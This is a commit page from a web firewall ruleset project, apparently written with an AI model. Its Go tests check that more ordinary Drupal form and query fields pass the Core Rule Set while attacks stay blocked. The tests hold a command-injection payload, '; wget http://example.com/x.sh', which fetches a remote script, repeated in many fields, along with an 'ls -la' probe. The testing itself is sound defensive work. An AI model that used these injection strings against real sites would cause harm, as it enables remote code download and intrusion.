Core Rule Set: more of Drupal's ordinary fields pass (closes #244)
check / check (push) Failing after 17m27s
check / check (push) Failing after 17m27s
Names, searches and the page to return to on more Drupal paths skip the rules that misfire on them: 930120, 932120, 932250 and 932260, plus 932230 and 932235 on destination only. An email address skips 930120, 932120 and 932260; the oEmbed url only 930120 and 932120. Every Drupal path may carry a language prefix: a first segment of two or three lowercase letters, such as /fr. Requests recorded from Drupal 11.4.11 with plain words, python3, powershell, ls -la and .htaccess are added to the test data; tests show attacks and "; wget ..." still refused on each new field. Model: opus-5-5
This commit was merged in pull request #250.
This commit is contained in:
1 parent
c0313f7b27
commit
3a37f82e34
4 files changed
+526
-62
No files matched your search
@@ -3,6 +3,7 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -15,6 +16,18 @@ const drupalAddArticle = "/node/add/article"
|
||||
// drupalSignIn is Drupal's sign-in page.
|
||||
const drupalSignIn = "/user/login"
|
||||
|
||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||
const drupalJSONSignIn = "/user/login?_format=json"
|
||||
|
||||
// drupalTagForm is Drupal's form for a new tag.
|
||||
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
||||
|
||||
// drupalEditAccount is Drupal's form for editing an account.
|
||||
const drupalEditAccount = "/user/2/edit"
|
||||
|
||||
// drupalName is the field for a person's name, as the start of a form body.
|
||||
const drupalName = "name="
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -73,6 +86,18 @@ func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
||||
"/user/password?name=",
|
||||
"/media-library?name=",
|
||||
"/views/ajax?name=",
|
||||
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
||||
"/block-category/autocomplete?q=",
|
||||
"/media/oembed?url=",
|
||||
"/big_pipe/no-js?destination=",
|
||||
"/node/2/revisions/3/revert?destination=",
|
||||
"/node/2/revisions/3/delete?destination=",
|
||||
"/block/add/basic?destination=",
|
||||
"/fr/admin/content?title=",
|
||||
"/fr/search/node?keys=",
|
||||
} {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
@@ -95,7 +120,18 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, drupalName + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
{drupalSignIn, drupalName + attack},
|
||||
{"/fr/user/login", drupalName + attack},
|
||||
{"/user/register", drupalName + attack},
|
||||
{drupalEditAccount, "mail=" + attack},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
@@ -113,6 +149,10 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
`"name":"` + attack + `"`,
|
||||
`"revision_log":"` + attack + `"`,
|
||||
`"info":"` + attack + `"`,
|
||||
`"description":{"value":"` + attack + `"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
@@ -125,6 +165,22 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
||||
body = `{"name":"` + attack + `","pass":"example"}`
|
||||
|
||||
got, _ = inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -151,28 +207,50 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
"/search/node?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
"/user/password?name=",
|
||||
"/media-library?name=",
|
||||
"/views/ajax?name=",
|
||||
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
||||
"/block-category/autocomplete?q=",
|
||||
"/media/oembed?url=",
|
||||
"/fr/admin/content?title=",
|
||||
} {
|
||||
got := inspect(t, crs, get(target+drupalCommandAttack))
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, field := range []string{
|
||||
"title%5B0%5D%5Bvalue%5D=",
|
||||
"body%5B0%5D%5Bsummary%5D=",
|
||||
"revision_log%5B0%5D%5Bvalue%5D=",
|
||||
"path%5B0%5D%5Balias%5D=",
|
||||
"field_tags%5Btarget_id%5D=",
|
||||
"field_image%5B0%5D%5Balt%5D=",
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
||||
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
||||
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
||||
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
||||
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
||||
{drupalSignIn, drupalName},
|
||||
{"/user/register", drupalName},
|
||||
{drupalEditAccount, "mail="},
|
||||
{"/comment/reply/node/1/comment", drupalName},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
||||
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
||||
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
||||
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
||||
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
||||
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
||||
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
||||
} {
|
||||
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
|
||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -180,6 +258,10 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
||||
`"name":"; wget http://example.com/x.sh"`,
|
||||
`"revision_log":"; wget http://example.com/x.sh"`,
|
||||
`"info":"; wget http://example.com/x.sh"`,
|
||||
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
@@ -192,6 +274,30 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
||||
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
|
||||
|
||||
got, _ = inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la.
|
||||
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||
|
||||
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// drupalHardValues are the words that name commands and files, as a form
|
||||
@@ -232,10 +338,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := request{
|
||||
http.MethodPost, "/user/login?_format=json",
|
||||
[]string{"Content-Type: application/json"},
|
||||
}
|
||||
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
||||
body := `{"name":"example","pass":"` + word + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -256,6 +359,9 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
||||
"/node/1/edit?destination=python3",
|
||||
"/fr/admin/content?title=python3",
|
||||
"/pt-br/search/node?keys=python3",
|
||||
"/user/password?name=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
||||
t.Errorf("%s refused: %+v", passes, got)
|
||||
@@ -270,6 +376,12 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||
"/?q=python3",
|
||||
"/?filter%5Btitle%5D=python3",
|
||||
"/python3-notes?destination=python3",
|
||||
"/notes/admin/content?title=python3",
|
||||
"/fr/node/1?keys=python3",
|
||||
"/?name=python3",
|
||||
"/user/login?name=python3",
|
||||
"/media/oembed?url=python3",
|
||||
"/media/oembed?url=ls%20-la",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
@@ -288,6 +400,9 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
||||
{drupalSignIn, "pass=python3"},
|
||||
{drupalSignIn, "name=python3"},
|
||||
{drupalEditAccount, "mail=python3"},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
|
||||
|
||||
Reference in new issue
Block a user